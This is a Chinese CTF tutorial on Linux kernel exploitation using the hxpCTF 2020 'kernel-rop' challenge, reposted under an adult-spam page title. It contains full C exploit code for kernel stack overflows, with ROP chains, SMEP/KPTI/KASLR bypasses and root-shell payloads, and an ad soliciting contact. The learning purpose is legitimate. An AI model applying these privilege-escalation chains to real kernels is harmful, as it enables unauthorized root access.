老司机91精品网站在线观看_久久69精品久久久久久hb_成人欧美在线观看_免费一级日本c片完整版

首頁>論壇 > 正文

當前觀點:kernel?pwn入門

2023-07-04 12:23:40    出處:博客園
Linux Kernel 介紹

Linux 內核是 Linux操作系統的核心組件,它提供了操作系統的基本功能和服務。它是一個開源軟件,由Linus Torvalds 在 1991 年開始開發,并得到了全球廣泛的貢獻和支持。


(資料圖片僅供參考)

Linux內核的主要功能包括進程管理、內存管理、文件系統、網絡通信、設備驅動程序等。它負責管理計算機硬件和軟件資源,并為應用程序提供必要的基礎支持。Linux內核是一個模塊化的系統,可以根據需要加載和卸載各種驅動程序和功能模塊。

Linux Kernel 環境

  • vmlinuz或bzImage:linux內核的壓縮鏡像

  • vmlinux:linux內核的符號表

  • initramfs.cpio.gz:文件系統,有系統啟動的信息

  • run.sh:qemu啟動的shell腳本,里面有linux內核開啟了哪些保護

Linux Kernel gadget獲取

通過壓縮的linux內核鏡像獲取符號表

./extract-image.sh ./vmlinuz > vmlinux

extract-image.sh

#!/bin/sh# SPDX-License-Identifier: GPL-2.0-only# ----------------------------------------------------------------------# extract-vmlinux - Extract uncompressed vmlinux from a kernel image## Inspired from extract-ikconfig# (c) 2009,2010 Dick Streefland ## (c) 2011    Corentin Chary ## ----------------------------------------------------------------------?check_vmlinux(){    # Use readelf to check if it"s a valid ELF    # TODO: find a better to way to check that it"s really vmlinux    #    and not just an elf    readelf -h $1 > /dev/null 2>&1 || return 1?    cat $1    exit 0}?try_decompress(){    # The obscure use of the "tr" filter is to work around older versions of    # "grep" that report the byte offset of the line instead of the pattern.?    # Try to find the header ($1) and decompress from here    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`    do        pos=${pos%%:*}        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null        check_vmlinux $tmp    done}?# Check invocation:me=${0##*/}img=$1if  [ $# -ne 1 -o ! -s "$img" ]then    echo "Usage: $me " >&2    exit 2fi?# Prepare temp files:tmp=$(mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp" 0?# That didn"t work, so retry after decompression.try_decompress "\037\213\010" xy   gunziptry_decompress "\3757zXZ\000" abcde unxztry_decompress "BZh"      xy   bunzip2try_decompress "\135\0\0\0"  xxx  unlzmatry_decompress "\211\114\132" xy  "lzop -d"try_decompress "\002!L\030"  xxx  "lz4 -d"try_decompress "(\265/\375"  xxx  unzstd?# Finally check for uncompressed images or objects:check_vmlinux $img?# Bail out:echo "$me: Cannot find vmlinux." >&2

ROPgadget獲取

不建議用ROPgadget,速度比較慢

ROPgadget --binary ./vmlinux > gadgets.txt

Ropper獲取

使用ropper速度會比較快

ropper --file ./vmlinux --nocolor > g

直接獲取

./vmlinux > gadgets.txt

然后搜索

cat gadgets.txt | grep "pop"

文件系統

解包

mkdir initramfscd initramfscp ../initramfs.cpio.gz .gunzip ./initramfs.cpio.gzcpio -idm < ./initramfs.cpiorm initramfs.cpio

打包

gcc -o exploit -static $1mv ./exploit ./initramfscd initramfsfind . -print0 \| cpio --null -ov --format=newc \| gzip -9 > initramfs.cpio.gzmv ./initramfs.cpio.gz ../

Linux Kernel的保護措施

  • Kernel stack cookies【canary】:防止內核棧溢出

  • Kernel address space layout【KASLR】:內核地址隨機化

  • Supervisor mode executionprotection【SMEP】:內核態中不能執行用戶空間的代碼。在內核中可以將CR4寄存器的第20比特設置為1,表示啟用。

    • 開啟:在-cpu參數中設置+smep

    • 關閉:nosmep添加到-append

  • Supervisor Mode AccessPrevention【SMAP】:在內核態中不能讀寫用戶頁的數據。在內核中可以將CR4寄存器的第21比特設置為1,表示啟用。

    • 開啟:在-cpu參數中設置+smap

    • 關閉:nosmap添加到-append

  • Kernel page-tableisolation【KPTI】:將用戶頁與內核頁分隔開,在用戶態時只使用用戶頁,而在內核態時使用內核頁。

    • 開啟:kpti=1

    • 關閉:nopti添加到-append

hxpCTF 2020 kernel-rop

這里使用hxpCTF2020的內核題作為例子,對內核中的保護以及如何繞過做簡單介紹。

項目地址:https://github.com/h0pe-ay/Kernel-Pwn

hackme_read

這個函數會將內核棧的數據拷貝到用戶空間中去,因此可以利用改函數泄露內核棧的信息

hackme_write

hackme_write這個函數則是從用戶空間拷貝數據到內核棧中,但是變量V5的存儲空間是遠遠小于從用戶態中可以傳的數據的大小,因此導致了出現內核態棧溢出。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】

① 網安學習成長路徑思維導圖 ② 60+網安經典常用工具包 ③ 100+SRC漏洞分析報告 ④ 150+網安攻防實戰技術電子書 ⑤ 最權威CISSP 認證考試指南+題庫 ⑥ 超1800頁CTF實戰技巧手冊 ⑦ 最新網安大廠面試題合集(含答案) ⑧ APP客戶端安全檢測指南(安卓+IOS)

動態調試

首先在啟動腳本run.sh中加入-s的參數,使得可以使用gdb對qemu進行調試

其次可以使用lsmod查看模塊加載的基址,這里需要注意的是需要先將啟動腳本中的權限改為0

否則直接運行不會顯示模塊的地址,結果如下

將權限修改為0之后,就可以正常顯示了

然后通過gdb進行調試時則可以將模塊的基地址加入進去,使用add-symbol-file hackme.ko 0xffffffffc0000000

接著是從題目給的內核鏡像中提取符號信息,通過./extract-image.sh vmlinuz > vmlinux,并且也加載到gdb中

最后就可以開啟遠程調試了,target remote:1234

這里需要注意的是ida中顯示的地址可能不準確,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme

hackme_write中打下斷點

這里我遇到個問題是在遇到push指令時不能夠使用ni進行跟蹤,而是需要si,否則會跑飛。

使用ni進行單步調試,程序會直接運行,無法斷下來。

使用si則可以單步

至此就可以對hackme.ko的模塊進行調試了。

未開啟保護

首先是關閉內核中所有的保護,在遇到內核棧溢出時需要怎么完成漏洞利用。

run.sh

append使用使用nosmapnosempnokaslrnopti關閉smapsempkaslr以及kpti的保護

qemu-system-x86_64 \  -m 128M \  -cpu kvm64\  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0 nosmap nosemp nokaslr nopti  quiet panic=1" \  -s

ret2user

由于題目沒有開啟任何保護,因此首要使用的方法就是利用棧溢出修改內核棧上的返回地址。

首先檢查一下保護,發現hackme.ko開啟的canary的保護,因此想要完成棧溢出,首先需要泄露canary,由于題目本身就存在地址泄露功能,因此只要確保我們讀取的內容包括canary的值即可

hackme_read中打下斷點,查看變量v6中存儲了什么值,由于程序是通過memcpy進行數據拷貝的,因此直接查看RSI寄存器對應的數據

可以發現canary的值就在其中,因此利用hackmeread這個函數就可以將數據泄露出來

這里需要注意的是,雖然題目限制的長度是0x1000,但是并不能將拷貝0x1000的長度,因為可能會在不可讀的地址中獲取數據,導致了執行錯誤。

在泄露canary后就可以劫持程序執行流程了,與用戶態不同,在內核態需要先獲取root憑證,在切換到用戶態下。

  • prepare_kernel_cred函數

    • prepare_kernel_cred函數用于為內核中的進程(也就是進程的內核線程)創建一個新的cred結構體,該結構體包含有關進程的安全上下文信息,例如UID、GID、capabilities 等。

  • commit_creds函數

    • commit_creds函數接受一個指向cred結構體的指針,并將其分配給當前進程。該函數通常在進程啟動時調用,以確保進程被正確配置以擁有所需的權限。

因此調用prepare_kernel_cred(0)可以獲取root權限的憑證,接著調用commit_creds函數,就可以將當前進程的特權修改為root。即指向commit_creds(prepare_kernel_cred(0))

在獲取完root之后則需要調用swags指令進行GS寄存器的切換,即將g_basek_gs_base的值進行交換,swapgs是一個匯編指令,用于在執行內核代碼期間切換當前 CPU 的內核棧和 GS寄存器。完成交換之后才能確保在用戶態的尋址不會存在問題。

執行swags指令之前

執行swags指令之后

最后則是切換回用戶態,iretq指令是 x86架構下用于從中斷處理程序(或系統調用處理程序)返回到用戶空間的指令。它是iret指令的 64 位版本,用于在 64 位模式下使用。

iretq指令有以下三個功能:

  1. 恢復處理器的標志寄存器 (EFLAGS)的值,以便返回到原始程序的執行上下文。

  2. 恢復程序計數器 (Instruction Pointer, RIP)的值,以便返回到原始程序的執行點。

  3. 恢復棧指針 (Stack Pointer, RSP) 的值,以便將堆棧指針切換回用戶棧上。

iretq還原的值的順序為RIP|CS|RFLAGS|SP|SS,那么在iret指令中按順序填充RIPCSRFLASGRSP以及SS的值即可,因此在執行iretq之前需要將在用戶態下將這些值進行保存。并且RIP指向的值為system("/bin/sh")函數的地址即可。

保存寄存器的匯編代碼如下

__asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );

iretq指令后跟隨的值如下

exp

因此最后構造的exp如下

#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}?void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}?unsigned long user_rip = (unsigned long)backdoor;?void lpe(){    __asm(        ".intel_syntax noprefix;"        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred        "xor rdi, rdi;"        "call rax;" //prepare_kernel_cred(0);        "mov rdi, rax;"        "mov rax, 0xffffffff814c6410;"        "call rax;"        "swapgs;"           "mov r15, user_ss;"        "push r15;"        "mov r15, user_sp;"        "push r15;"        "mov r15, user_rflags;"        "push r15;"        "mov r15, user_cs;"        "push r15;"        "mov r15, user_rip;"        "push r15;"        "iretq;"        ".att_syntax;"    );}?int main(){    unsigned int i, index = 0;    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 8*11);    for(i = 0; i < 11; i++)        printf("i:%d:data:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long leak_addr = buf[10];    save_user_land();    unsigned long payload[256];    for(i = 0; i < (16); i ++)        payload[index++] = 0;    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)lpe;    write(fd, payload, index * 8);    return 0;}

繞過SMEP

SMEP保護是防止內核執行用戶空間的代碼,而上述的exp則是將利用過程是將匯編語言寫在用戶空間中,因此在SMEP的保護下,上述的利用會失效。下面將介紹繞過SMEP的幾種方法。

run.sh

qemu-system-x86_64 \  -m 128M \  -cpu kvm64,+smep\  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0 nosmap  nokaslr nopti  quiet panic=1" \  -s

修改CR4寄存器

前面說過開啟SMEP保護實際是將CR4寄存器的第20比特位置為1

那么一個簡單的想法就是將CR4寄存器的第20比特位重寫為0,關閉SMEP的保護就可以使用上述的利用手法了。那么寫cr4寄存器的是通過native_write_cr4函數,將需要改寫的值以參數的形式傳入進去,因此此時需要一個pop rdi; retgadget

找到native_write_cr4函數

exp

#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4*/unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}?void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}?unsigned long user_rip = (unsigned long)backdoor;?void lpe(){    __asm(        ".intel_syntax noprefix;"        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred        "xor rdi, rdi;"        "call rax;" //prepare_kernel_cred(0);        "mov rdi, rax;"        "mov rax, 0xffffffff814c6410;"        "call rax;"        "swapgs;"           "mov r15, user_ss;"        "push r15;"        "mov r15, user_sp;"        "push r15;"        "mov r15, user_rflags;"        "push r15;"        "mov r15, user_cs;"        "push r15;"        "mov r15, user_rip;"        "push r15;"        "iretq;"        ".att_syntax;"    );}?int main(){    unsigned int i, index = 0;    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 8*11);    for(i = 0; i < 11; i++)        printf("i:%d:data:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long leak_addr = buf[10];    save_user_land();    unsigned long payload[256];    for(i = 0; i < (16); i ++)        payload[index++] = 0;    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; // pop rdi; ret;    payload[index++] = 0x00000000000060;     payload[index++] = 0xffffffff814443e0; //native_write_cr4    payload[index++] = (unsigned long)lpe;    write(fd, payload, index * 8);    return 0;}

但是在這個版本下的內核已經無法通過native_write_cr4函數改寫CR4寄存器了,可以通過dmesg打印日志信息,可以發現

提示pinned CR4 bits changed: 0x100000!?的錯誤,并且CR4的值也沒有被修改,這是因為在當前的內核版本中增加了校驗,若后續通過native_write_cr4函數修改的值與啟動的值不一致則會報錯,并且將值修改為回來的值。

可以看到補丁的說明,在啟動后CR4的值無法被修改。因此在改利用手法只能在對CR4進行校驗的版本下使用。

構造逃逸ROP

由于SMEP只是杜絕了執行用戶態的代碼,因此利用ROP的思路,在內核態完成ROP鏈的構造,并且執行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。

那么此時需要什么樣的gadget則是構造逃逸ROP的重點,由于需要手動傳參調用上述的攻擊鏈,因此需要

  • pop rdi; ret;

  • mov rdi , rax; ret,這里需要注意的是,我們需要prepare_kernel_cred(0)執行的返回值,因此需要將rax寄存器的值傳遞給rdi寄存器

  • swags; ret

  • iretq

除了mov rdi, rax; ret以外,其余的gadget都可以很輕松的搜索出來,但是內核中不存在mod rdi, rax; ret這樣的gadget,因此需要想辦法找到其他的gadget,這里我找到如下的組合,通過構造rdirsi的值,使得rdi = rsi從而導致jne的跳轉無法執行,那么就可以在執行mov rdi, rax的情況下可以跳過jne的跳轉指令執行到ret指令。

0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret;

因此ROP逃逸的思路與在用戶態的ROP區別不大,只要找到合適的gadget即可

exp

#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
int main(){    save_state();    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;            //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred    payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff814c6410; //commit_creds;    payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);}

棧遷移

棧遷移能使用的場景是當我們需要構造的ROP鏈大于能溢出的字節數時采用的與用戶態不同的是在內核中存在很多可以修改RSP指針的gadget可以使用。這里我找到的gadget是,通過pop rbp; retmov rsp, rbp結合,就能夠篡改rsp為任何值。

0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;

那么需要將rsp篡改為何值,此時就需要結合mmap函數,該函數能夠在用戶空間中開辟一段內存,該內存的屬性可以自定義,因此思路則是將rsp的值指向mmap開辟的地址,通過棧遷移技術,將棧遷移到mmap的地址值,我們在將ROP鏈填充到mmap開辟的內存中即可,這里對mmap函數進行一個介紹。

mmap函數

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • addr:開辟的地址值,若為0則操作系統自行選擇,否則為填充的值,該地址的值需要頁對齊(0x1000),并且最小的值需要為0x10000(這里是我自己測試的)

  • length:內存的大小

  • prot:權限

    • PROT_EXEC,執行權限

    • PROT_READ,讀權限

    • PROT_WRITE,寫權限

    • PROT_NONE,沒有任何權限

  • flags:標志位,mmap函數可以設置的標志位有很多,這里著重介紹一些常用的

    • MAP_SHARED:共享映射,映射的內容可以被其他進程所看到,同時能夠同步到底層的文件

    • MAP_PRIVATE:私有映射,映射的內容不能被其他進程所看到,也不會同步到底層的文件

    • MAP_ANONYMOUS:匿名映射,是一種不映射文件的映射

    • MAP_FIXED:固定映射,即映射地址必須是addr所指定的,若該地址被占用則mmap返回錯誤

  • fd:需要映射的文件描述符,若是匿名映射則設置為-1

  • offet:映射的偏移,即選擇從哪個位置開始映射

映射代碼如下,這里需要注意的是,由于我們只需要在用戶空間中任意開辟一段可執行的內存,因此只需要進行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUSMAP_FIXED的標志位需要被指定,然后是MAP_SHAREDMAP_PRIVATE必須兩個中指定一個,否則也會報錯,因為這兩個參數指明的是修改的內容是否會影響其他進程或者是底層的文件。

棧遷移完成

ROP鏈部署在了映射內存中

最后是遇到的小疑惑,剛開始學習到棧遷移的時候會覺得奇怪,因為mmap開辟的內存是在用戶態的,SMEP則是禁止執行用戶態的代碼,為什么使用棧遷移可以繞過SMEP,后面理解發現,我們只是訪問了用戶空間的地址即0x2000,但是這段用戶態空間填寫的地址都是內核態的地址,因此總結流程則是我們在用戶態空間中填充了內核態的地址,在進行棧遷移繞過SMEP時,僅僅是訪問了用戶態空間的地址,最后執行時還是執行的內核態的地址,因此SMEP無法阻礙這種利用。而這也正是SMAPSMEP的區別,SMAP則是無法讀寫用戶態空間,因此若開啟了SMAP,那么該利用手法則無法進行。

繞過KPTI

KPTI(Kernel Page Table Isolation)是一種針對 Intel處理器的內核保護機制,用于減輕 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影響。KPTI的主要目的是隔離內核地址空間和用戶地址空間,防止惡意程序通過訪問內核地址空間來竊取敏感數據。

簡單來說就是KPTI的保護即將用戶空間的頁與內核內核空間的頁完全分隔開,那么在使用上述代碼進行利用的時候會報出段錯誤,因為在內核空間的頁中沒辦法找到用戶空間的代碼。

那么有兩種方式可以繞過KPTI

  • 捕獲Segmentation fault的異常,在異常處理中調用system(/bin/sh)

  • 切換頁表,將內核空間的頁表切換到用戶空間中去

run.sh

qemu-system-x86_64 \  -m 128M \  -cpu kvm64,+smep\  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0 nosmap  nokaslr kpti=1  quiet panic=1" \  -s

使用異常處理

使用異常處理非常簡單,只需要注冊一個異常處理的函數去捕獲SIGSEGV信號,在捕獲到該信號時執行異常處理函數,可自定義為system("/bin/sh")

signal(SIGSEGV, backdoor);

exp

#include #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
int main(){    save_state();    signal(SIGSEGV, backdoor);    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;            //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred    payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff814c6410; //commit_creds;    payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);}

使用swapgs_restore_regs_and_return_to_usermode

第二種方式則是修改頁表,CR3 寄存器是 x86架構中的一種控制寄存器,用于存儲頁目錄表(Page DirectoryTable)的物理地址。因此若能夠修改CR3的值為用戶空間的頁表,那么就可以完成頁表的切換,從而正常執行利用代碼了。

那么在內核中存在一個函數swapgs_restore_regs_and_return_to_usermodeswapgs_restore_regs_and_return_to_usermode函數是在 x86架構中用于從內核態切換到用戶態的匯編代碼片段。這個函數的作用是在內核態執行完系統調用或中斷處理程序后,恢復用戶態進程的寄存器狀態,并返回到用戶態進程的執行點繼續執行。

在內核中搜索該函數的地址

可以看到在該函數的內部存在修改CR3的操作,因此只需要調用該函數,就可以從內核空間的頁表修改為用戶空間的頁表,但是該函數的起始位置會進行非常多的彈棧操作,如果直接使用很容易造成ROP鏈的空間不足,因此可以選擇在swapgs_restore_regs_and_return_to_usermode + 0x16的位置開始執行。

在該函數后續的執行中,還會執行swapgs的指令,切換GS的寄存器,并且做一個絕對跳轉到0xffffffff81200fco

在該地址的后續還存在這iretq的指令,因此該函數具備了所有的條件。

exp

#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    printf("user_cs:0x%lx\n", user_cs);    printf("user_sp:0x%lx\n", user_sp);    printf("user_ss:0x%lx\n", user_ss);    printf("user_rflags:0x%lx\n", user_rflags);    puts("***save finish***");}?void backdoor(){    puts("***getshell***");    system("/bin/sh");}
int main(){    save_state();    int fd = open("/dev/hackme", O_RDWR);    unsigned long buf[256];    read(fd, buf, 0x10 * 8);    for(int i = 0; i < 0x10; i++)        printf("i:%d\taddress:0x%lx\n",i, buf[i]);    unsigned long canary = buf[2];    unsigned long payload[256];    unsigned int index = 0;    for(int i = 0; i < (16); i ++)        payload[index++] = 0;            //iretq RIP|CS|RFLAGS|SP|SS    payload[index++] = canary;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred    payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret    payload[index++] = 0;    payload[index++] = 0xffffffff81006370; //pop_rdi_ret    payload[index++] = 1;    payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;     payload[index++] = 0;    payload[index++] = 0;    payload[index++] = 0xffffffff814c6410; //commit_creds;    payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp;    payload[index++] = 0;    payload[index++] = 0;    payload[index++] = (unsigned long)backdoor;    payload[index++] = user_cs;    payload[index++] = user_rflags;    payload[index++] = user_sp;    payload[index++] = user_ss;    write(fd, payload, index * 8);    }

繞過SMAP

SMAP則是防止在內核態時訪問用戶態的空間,此時使用swapgs_restore_regs_and_return_to_usermode函數也是完全可以繞過的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode構建的ROP鏈。

但是如果遇到長度不夠時,就能夠將棧遷移到用戶空間上了,因為在開啟SMAP保護的時候就沒有辦法訪問用戶空間。那么此時只能借助內核的其他空間進行棧遷移,該手法利用比較復雜,因此留到以后再介紹。

繞過KASLR

KASLR與用戶態下的ASLR差不多,都是開啟了地址的隨機化,因此不能使用絕對地址。

run.sh

qemu-system-x86_64 \  -m 128M \  -cpu kvm64,+smep,+smap \  -kernel vmlinuz \  -initrd initramfs.cpio.gz \  -hdb flag.txt \  -snapshot \  -nographic \  -monitor /dev/null \  -no-reboot \  -append "console=ttyS0  kaslr nofgkaslr kpti=1  quiet panic=1" \  -s

泄露內核地址

通過泄露內核的程序基地址,再加上函數的偏移即可繞過,與用戶態下的利用沒有區別。

exp

#include #include ?/*0xffffffff814c6410 T commit_creds --  [-3701815]0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]0xffffffff81006370: pop rdi; ret;  --  [-8682711]0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]0xffffffff8150b97e: pop rsi; ret; -- [-3417801]0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){    __asm(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("***save state***");    